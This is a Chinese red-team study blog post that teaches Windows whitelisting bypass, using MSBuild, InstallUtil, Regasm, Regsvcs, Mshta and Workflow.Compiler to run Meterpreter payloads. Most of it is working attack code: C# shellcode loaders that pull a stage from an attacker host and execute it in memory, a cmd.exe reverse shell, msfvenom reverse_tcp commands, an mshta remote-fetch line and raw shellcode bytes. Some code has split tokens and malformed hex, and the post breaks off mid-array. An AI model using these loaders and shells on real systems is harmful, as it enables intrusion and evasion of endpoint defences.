Notes Twenty-fourth days-渗透攻击-红队-红队自研
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Notes Twenty-fourth days-渗透攻击-红队-权限提升(dayu)
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作者：大余
时间：2020-10-10
请注意：对于所有笔记中复现的这些终端或者服务器，都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，我概不负责。
我必须再重申一遍：务必不要做未授权测试！不要未经授权在真实网络环境中复现任何本书中描述的攻击。即使是出于好奇而不是恶意，你仍然会因未授权测试行为而陷入很多麻烦。为了个人能更好的继续学习发展，有很多漏洞奖励计划和靶场可以供你学习试验，但是请记住，即使是参加漏洞奖励计划，私自测试范围外的网站或对网站进行深入破坏也会让你有大麻烦。
文章目录
- Notes Twenty-fourth days-渗透攻击-红队-权限提升(dayu)
- 十一、红队技巧
-
- 11.1 基于白名单Msbuild.exe执行payload（一）
- 11.2 基于白名单Installutil.exe执行payload（二）
- 11.3 基于白名单Regasm.exe执行payload（三）
- 11.4 基于白名单Regsvcs.exe执行payload（四）
- 11.5 基于白名单Mshta.exe执行payload（五）（dayu-Twenty-fourth days）
- 11.6 基于白名单Compiler.exe执行payload（六）
- 11.7 基于白名单Csc.exe执行payload（七）
- 11.8 基于白名单Msiexec执行payload（八）
- 11.9 基于白名单Regsvr32执行payload（九）
- 11.10 基于白名单Wmic执行payload（十）
- 11.11 基于白名单Rundll32.exe执行payload（十一）
- 11.12 基于白名单Odbcconf执行payload（十二）
- 11.13 基于白名单PsExec执行payload（十三）
- 11.14 基于白名单Forfiles执行payload（十四）
- 11.15 基于白名单Pcalua执行payload（十五）
- 11.16 基于白名单Msiexec执行payload（八）补充
- 11.17 基于白名单Cmstp.exe执行payload（十六）
- 11.18 基于白名单Url.dll执行payload（十七）
- 11.19 基于白名单zipfldr.dll执行payload（十八）
- 11.20 基于白名单Ftp.exe执行payload（十九）
- 十二、工具优化分享
-
- 12.1 解决Msfvenom命令自动补全
- 12.2 The-backdoor-factory-工具介绍
十一、红队技巧
11.1 基于白名单Msbuild.exe执行payload（一）
MSBuild简介：
MSBuild 是 Microsoft Build Engine 的缩写，代表 Microsoft 和 Visual Studio的新的生成平台。MSBuild在如何处理和生成软件方面是完全透明的，使开发人员能够在未安装Visual Studio的生成实验室环境中组织和生成产品。
MSBuild 引入了一种新的基于 XML的项目文件格式，这种格式容易理解、易于扩展并且完全受 Microsoft 支持。MSBuild项目文件的格式使开发人员能够充分描述哪些项需要生成，以及如何利用不同的平台和配置生成这些项。
说明：Msbuild.exe所在路径没有被系统添加PATH环境变量中，因此，Msbuild命令无法识别。
基于白名单MSBuild.exe配置payload：
Windows 7默认位置为：
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
攻击机：192.168.1.4 Debian
靶机： 192.168.1.3 Windows 7
靶机执行：
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe Micropoor.xml
配置攻击机msf：
附录：Micropoor.xml
注：x86 payload
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!‐‐ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj Micropoor ‐‐>
<Target Name="iJEKHyTEjyCU">
<xUokfh />
</Target>
<UsingTask
TaskName="xUokfh"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;
public class xUokfh : Task, ITask {
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 ogephG,UInt32 fZZrvQ, UInt32 nDfrBaiPvDyeP, UInt32 LWITkrW);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 qEVoJxknom, UInt32 gZyJBJWYQsnXkWe, UInt32 jyIPELfKQYEVZM,IntPtr adztSHGJiurGO, UInt32 vjSCprCJ, ref UInt32 KbPukprMQXUp);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr wVCIQGmqjONiM, UInt32 DFgVrE);
static byte[] VYcZlUehuq(string IJBRrBqhigjGAx, int XBUCexXIrGIEpe) {
IPEndPoint DRHsPzS = new IPEndPoint(IPAddress.Parse(IJBRrBqhigjGAx), XBUCexXIrGIEpe);
Socket zCoDOd = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try {
zCoDOd.Connect(DRHsPzS); }
catch {
return null;}
byte[] OCrGofbbWRVsFEl = new byte[4];
zCoDOd.Receive(OCrGofbbWRVsFEl, 4, 0);
int auQJTjyxYw = BitConverter.ToInt32(OCrGofbbWRVsFEl, 0);
byte[] MlhacMDOKUAfvMX = new byte[auQJTjyxYw + 5];
int GFtbdD = 0;
while (GFtbdD < auQJTjyxYw)
{
GFtbdD += zCoDOd.Receive(MlhacMDOKUAfvMX, GFtbdD + 5, (auQJTjyxYw ‐ GFtbdD) < 4096 ? (auQJTjyxYw ‐ GFtbdD) : 4096, 0);}
byte[] YqBRpsmDUT = BitConverter.GetBytes((int)zCoDOd.Handle);
Array.Copy(YqBRpsmDUT, 0, MlhacMDOKUAfvMX, 1, 4); MlhacMDOKUAfvMX[0] = 0xBF;
return MlhacMDOKUAfvMX;}
static void NkoqFHncrcX(byte[] qLAvbAtan) {
if (qLAvbAtan != null) {
UInt32 jrYMBRkOAnqTqx = VirtualAlloc(0, (UInt32)qLAvbAtan.Length, 0x1000, 0x40);
Marshal.Copy(qLAvbAtan, 0, (IntPtr)(jrYMBRkOAnqTqx), qLAvbAtan.Length);
IntPtr WCUZoviZi = IntPtr.Zero;
UInt32 JhtJOypMKo = 0;
IntPtr UxebOmhhPw = IntPtr.Zero;
WCUZoviZi = CreateThread(0, 0, jrYMBRkOAnqTqx, UxebOmhhPw, 0, ref JhtJOypMKo);
WaitForSingleObject(WCUZoviZi, 0xFFFFFFFF); }}
public override bool Execute()
{
byte[] uABVbNXmhr = null; uABVbNXmhr = VYcZlUehuq("192.168.1.4", 53);
NkoqFHncrcX(uABVbNXmhr);
return true; } }
]]>
</Code>
</Task>
</UsingTask>
</Project>
11.2 基于白名单Installutil.exe执行payload（二）
Installutil简介：
Installer工具是一个命令行实用程序，允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。
具体参考：Windows Installer部署
https://docs.microsoft.com/zh-cn/previous-versions/2kt85ked(v=vs.120)
说明：Installutil.exe所在路径没有被系统添加PATH环境变量中，因此，Installutil命令无法识别。
基于白名单installutil.exe配置payload：
Windows 7 默认位置：
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
攻击机：192.168.1.4 Debian
靶机：192.168.1.3 Windows 7
配置攻击机msf：
靶机执行：
靶机编译：
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic opoor.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs
payload：
Micropoor.exe
靶机执行：
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U Micropoor.exe
附录：Micropoor.cs
注：x64 payload
using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.Configuration.Install; using System.Windows.Forms;
public class GQLBigHgUniLuVx {
public static void Main()
{
while(true)
{
{
MessageBox.Show("doge"); Console.ReadLine();}}
}
}
[System.ComponentModel.RunInstaller(true)]
public class esxWUYUTWShqW : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary zWrdFAUHmunnu)
{
jkmhGrfzsKQeCG.LCIUtRN();
}
}
public class jkmhGrfzsKQeCG
{
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 YUtHhF,UInt32 VenifEUR, UInt32 NIHbxnOmrgiBGL, UInt32 KIheHEUxhAfOI);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 GDmElasSZbx, UInt32 rGECFEZG, UInt32 UyBSrAIp,IntPtr sPEeJlufmodo, UInt32 jmzHRQU, ref UInt32 SnpQPGMvDbMOGmn);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr pRIwbzTTS, UInt32 eRLAWWYQnq);
static byte[] ErlgHH(string ZwznjBJY, int KsMEeo) {
IPEndPoint qAmSXHOKCbGlysd = new IPEndPoint(IPAddress.Parse(ZwznjBJY), KsMEeo);
Socket XXxIoIXNCle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try {
XXxIoIXNCle.Connect(qAmSXHOKCbGlysd); }
catch {
return null;}
byte[] UmquAHRnhhpuE = new byte[4];
XXxIoIXNCle.Receive(UmquAHRnhhpuE, 4, 0);
int kFVRSNnpj = BitConverter.ToInt32(UmquAHRnhhpuE, 0);
byte[] qaYyFq = new byte[kFVRSNnpj + 5];
int SRCDELibA = 0;
while (SRCDELibA < kFVRSNnpj)
{
SRCDELibA += XXxIoIXNCle.Receive(qaYyFq, SRCDELibA + 5, (kFVRSNnpj ‐ SRCDELibA) < 4096 ? (kFVRSNnpj ‐ SRCDELibA) : 4096, 0);}
byte[] TvvzOgPLqwcFFv = BitConverter.GetBytes((int)XXxIoIXNCle.Handle);
Array.Copy(TvvzOgPLqwcFFv, 0, qaYyFq, 1, 4); qaYyFq[0] = 0xBF;
return qaYyFq;}
static void cmMtjerv(byte[] HEHUjJhkrNS) {
if (HEHUjJhkrNS != null) {
UInt32 WcpKfU = VirtualAlloc(0, (UInt32)HEHUjJhkrNS.Length, 0x1000, 0x40);
Marshal.Copy(HEHUjJhkrNS, 0, (IntPtr)(WcpKfU), HEHUjJhkrNS.Length);
IntPtr UhxtIFnlOQatrk = IntPtr.Zero;
UInt32 wdjYKFDCCf = 0;
IntPtr XVYcQxpp = IntPtr.Zero;
UhxtIFnlOQatrk = CreateThread(0, 0, WcpKfU, XVYcQxpp, 0, ref wdjYKFDCCf);
WaitForSingleObject(UhxtIFnlOQatrk, 0xFFFFFFFF); }}
public static void LCIUtRN() {
byte[] IBtCWU = null; IBtCWU = ErlgHH("192.168.1.4", 53);
cmMtjerv(IBtCWU);
} }
11.3 基于白名单Regasm.exe执行payload（三）
Regasm简介：
Regasm 为程序集注册工具，读取程序集中的元数据，并将所需的项添加到注册表中。RegAsm.exe是Microsoft Corporation开发的合法文件进程。它与Microsoft.NET Assembly Registration Utility相关联。
说明：Regasm.exe所在路径没有被系统添加PATH环境变量中，因此，REGASM命令无法识别。
具体参考微软官方文档：
https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool
基于白名单Regasm.exe配置payload：
Windows 7 默认位置：
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
攻击机：192.168.1.4 Debian
靶机：192.168.1.3 Windows 7
配置攻击机msf：
靶机执行：
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U Micropoor.dll
附录：Micropoor.cs
注：x86 payload
using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.EnterpriseServices; using System.Windows.Forms;
namespace HYlDKsYF
{
public class kxKhdVzWQXolmmF : ServicedComponent {
public kxKhdVzWQXolmmF() {
Console.WriteLine("doge"); }
[ComRegisterFunction]
public static void RegisterClass ( string pNNHrTZzW )
{
ZApOAKJKY.QYJOTklTwn();
}
[ComUnregisterFunction]
public static void UnRegisterClass ( string pNNHrTZzW )
{
ZApOAKJKY.QYJOTklTwn();
}
}
public class ZApOAKJKY
{
[DllImport("kernel32")] private static extern UInt32 HeapCreate(UInt32 FJyyNB, UInt32 fwtsYaiizj, UInt32 dHJhaXQiaqW);
[DllImport("kernel32")] private static extern UInt32 HeapAlloc(UInt32 bqtaDNfVCzVox, UInt32 hjDFdZuT, UInt32 JAVAYBFdojxsgo);
[DllImport("kernel32")] private static extern UInt32 RtlMoveMemory(UInt32 AQdEyOhn, byte[] wknmfaRmoElGo, UInt32 yRXPRezIkcorSOo);
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 uQgiOlrrBaR, UInt32 BxkWKqEKnp, UInt32 lelfRubuprxr, IntPtr qPzVKjdiF, UInt32 kNXJcS, ref UInt32 atiLJcRPnhfyGvp);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr XSjyzoKzGmuIOcD, UInt32 VumUGj);static byte[] HMSjEXjuIzkkmo(string aCWWUttzmy, int iJGvqiEDGLhjr) {
IPEndPoint YUXVAnzAurxH = new IPEndPoint(IPAddress.Parse(aCWWUttzmy), iJGvqiEDGLhjr);
Socket MXCEuiuRIWgOYze = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try {
MXCEuiuRIWgOYze.Connect(YUXVAnzAurxH); }
catch {
return null;}
byte[] Bjpvhc = new byte[4];
MXCEuiuRIWgOYze.Receive(Bjpvhc, 4, 0);
int IETFBI = BitConverter.ToInt32(Bjpvhc, 0);
byte[] ZKSAAFwxgSDnTW = new byte[IETFBI + 5];
int JFPJLlk = 0;
while (JFPJLlk < IETFBI)
{
JFPJLlk += MXCEuiuRIWgOYze.Receive(ZKSAAFwxgSDnTW, JFPJLlk + 5, (IETFBI ‐ JFPJLlk) < 4096 ? (IETFBI ‐ JFPJLlk) : 4096, 0);}
byte[] nXRztzNVwPavq = BitConverter.GetBytes((int)MXCEuiuRIWgOYze.Handle);
Array.Copy(nXRztzNVwPavq, 0, ZKSAAFwxgSDnTW, 1, 4); ZKSAAFwxgSDnTW[0] = 0xBF;
return ZKSAAFwxgSDnTW;}
static void TOdKEwPYRUgJly(byte[] KNCtlJWAmlqJ) {
if (KNCtlJWAmlqJ != null) {
UInt32 uuKxFZFwog = HeapCreate(0x00040000, (UInt32)KNCtlJWAmlqJ.Lengt h, 0);
UInt32 sDPjIMhJIOAlwn = HeapAlloc(uuKxFZFwog, 0x00000008, (UInt32)KNCtlJWAmlqJ.Length);
RtlMoveMemory(sDPjIMhJIOAlwn, KNCtlJWAmlqJ, (UInt32)KNCtlJWAmlqJ.Length);
UInt32 ijifOEfllRl = 0;
IntPtr ihXuoEirmz = CreateThread(0, 0, sDPjIMhJIOAlwn, IntPtr.Zero, 0, ref ijifOEfllRl);
WaitForSingleObject(ihXuoEirmz, 0xFFFFFFFF);}}
public static void QYJOTklTwn() {
byte[] ZKSAAFwxgSDnTW = null; ZKSAAFwxgSDnTW = HMSjEXjuIzkkmo("192.168.1.4", 53);
TOdKEwPYRUgJly(ZKSAAFwxgSDnTW);
} } }
11.4 基于白名单Regsvcs.exe执行payload（四）
Regsvcs简介：
Regsvcs为.NET服务安装工具，主要提供三类服务：
加载并注册程序集。
生成、注册类型库并将其安装到指定的 COM+ 1.0 应用程序中。
配置以编程方式添加到类的服务。
说明：Regsvcs.exe所在路径没有被系统添加PATH环境变量中，因此，Regsvcs命令无法识别。
具体参考微软官方文档：
https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool
基于白名单Regsvcs.exe配置payload：
Windows 7 默认位置：
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
攻击机：192.168.1.4 Debian
靶机：192.168.1.3 Windows 7
配置攻击机msf：
靶机执行：
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe Micropoor.dll
附录：Micropoor.cs
注：x86 payload
using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.EnterpriseServices; using System.Windows.Forms;
namespace phwUqeuTRSqn
{
public class mfBxqerbXgh : ServicedComponent {
public mfBxqerbXgh() {
Console.WriteLine("Micropoor"); }
[ComRegisterFunction]
public static void RegisterClass ( string DssjWsFMnwwXL )
{
uXsiCEXRzLNkI.BBNSohgZXGCaD();
}
[ComUnregisterFunction]
public static void UnRegisterClass ( string DssjWsFMnwwXL )
{
uXsiCEXRzLNkI.BBNSohgZXGCaD();
}
}
public class uXsiCEXRzLNkI
{
[DllImport("kernel32")] private static extern UInt32 HeapCreate(UInt32 pAyHWx, UInt32 KXNJUcPIUymFNbJ, UInt32 MotkftcMAIJRnW);
[DllImport("kernel32")] private static extern UInt32 HeapAlloc(UInt32 yjmmncJHBrUu, UInt32 MYjktCDxYrlTs, UInt32 zyBAwQVBQbi);
[DllImport("kernel32")] private static extern UInt32 RtlMoveMemory(UInt32 PorEiXBhZkA, byte[] UIkcqF, UInt32 wAXQEPCIVJQQb);
[DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 WNvQyYv, UInt32 vePRog, UInt32 Bwxjth, IntPtr ExkSdsTdwD, UInt32 KfNaMFOJVTSxbrR, ref UInt32 QEuyYka);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr pzymHg, UInt32 lReJrqjtOqvkXk);static byte[] SVMBrK(string MKwSjIxqTxxEO, int jVaXWRxcmw) {
IPEndPoint hqbNYMZQr = new IPEndPoint(IPAddress.Parse(MKwSjIxqTxxEO), jVaXWRxcmw);
Socket LbLgipot = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try {
LbLgipot.Connect(hqbNYMZQr); }
catch {
return null;}
byte[] VKQsLPgLmVdp = new byte[4];
LbLgipot.Receive(VKQsLPgLmVdp, 4, 0);
int jbQtneZFbvzK = BitConverter.ToInt32(VKQsLPgLmVdp, 0);
byte[] cyDiPLJhiAQbw = new byte[jbQtneZFbvzK + 5];
int vyPloXEDJoylLbj = 0;
while (vyPloXEDJoylLbj < jbQtneZFbvzK)
{
vyPloXEDJoylLbj += LbLgipot.Receive(cyDiPLJhiAQbw, vyPloXEDJoylLbj + 5, (jbQtneZFbvzK ‐ vyPloXEDJoylLbj) < 4096 ? (jbQtneZFbvzK ‐ vyPloXEDJoylLbj) : 4096, 0);}
byte[] MkHUcy = BitConverter.GetBytes((int)LbLgipot.Handle);
Array.Copy(MkHUcy, 0, cyDiPLJhiAQbw, 1, 4); cyDiPLJhiAQbw[0] = 0xBF;
return cyDiPLJhiAQbw;}
static void ZFeAPdN(byte[] hjErkNfmkyBq) {
if (hjErkNfmkyBq != null) {
UInt32 xYfliOUgksPsv = HeapCreate(0x00040000, (UInt32)hjErkNfmkyBq.Length, 0);
UInt32 eSiulXLtqQO = HeapAlloc(xYfliOUgksPsv, 0x00000008, (UInt32)hjErkNfmkyBq.Length);
RtlMoveMemory(eSiulXLtqQO, hjErkNfmkyBq, (UInt32)hjErkNfmkyBq.Length);
UInt32 NByrFgKjVjB = 0;
IntPtr PsIqQCvc = CreateThread(0, 0, eSiulXLtqQO, IntPtr.Zero, 0, ref NByrFgKjVjB);
WaitForSingleObject(PsIqQCvc, 0xFFFFFFFF);}}
public static void BBNSohgZXGCaD() {
byte[] cyDiPLJhiAQbw = null; cyDiPLJhiAQbw = SVMBrK("192.168.1.4", 53);
ZFeAPdN(cyDiPLJhiAQbw);
} } }
11.5 基于白名单Mshta.exe执行payload（五）（dayu-Twenty-fourth days）
Mshta简介：
Mshta.exe是微软Windows操作系统相关程序，英文全称Microsoft HTML Application，可翻译为微软超文本标记语言应用，用于执行.HTA文件。
说明：Mshta所在路径已被系统添加PATH环境变量中，因此，可直接执行Mshta.exe命令。
基于白名单Mshta.exe配置payload：
Windows 7 默认位置：
C:\Windows\System32\mshta.exe
C:\Windows\SysWOW64\mshta.exe
攻击机：192.168.1.4 Debian
靶机： 192.168.1.3 Windows 7
配置攻击机msf：
配置payload：
msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f raw > shellcode.bin
cat shellcode.bin |base64 ‐w 0
替换如下：
靶机执行：
mshta.exe http://192.168.1.4/Micropoor.hta
附录：Micropoor.hta
https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta
11.6 基于白名单Compiler.exe执行payload（六）
说明：Microsoft.Workflow.Compiler.exe所在路径没有被系统添加PATH环境变量中，因此，Microsoft.Workflow.Compiler命令无法识别。
基于白名单Microsoft.Workflow.Compiler.exe配置payload：
Windows 7 默认位置：
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe
攻击机：192.168.1.4 Debian
靶机：192.168.1.3 Windows 7
配置攻击机msf：
靶机执行：
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml Micropoor.tcp
结合meterpreter：
注：payload.cs需要用到System.Workflow.Activities
靶机执行：
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml Micropoor_rev1.cs
结合meterpreter：
注：payload.cs需要用到System.Workflow.Activities
靶机执行：
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml Micropoor_rev1.cs
配置攻击机msf：
payload生成：
msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f csharp
附录：poc.xml
注：windows/shell/reverse_tcp
<?xml version="1.0" encoding="utf‐8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema‐instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler"
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>Micropoor.tcp</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">‐1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>
Micropoor.tcp：
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Workflow.Activities;
public class Program : SequentialWorkflowActivity
{
static StreamWriter streamWriter;
public Program()
{
using(TcpClient client = new TcpClient("192.168.1.4", 53))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) {
}
}
}
}
Micropoor_rev1.cs：
注：x64 payload
using System;
using System.Workflow.Activities;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
class yrDaTlg : SequentialWorkflowActivity {
[DllImport("kernel32")] private static extern IntPtr VirtualAlloc(UInt32 rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ);
[DllImport("kernel32")] public static extern bool VirtualProtect(IntPt rDStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVp Sg);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UInt32 ZSheqBwKtDf, ref UInt32 SZtdSB);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM);
public yrDaTlg() {
byte[] QWKpWKhcs =
{
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,x8b,
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,xc1,
0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,x00,
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,xe5,
0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,xe4,
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,x0a,
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,x89,
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,xd5,
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,xe5,
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,xc9,
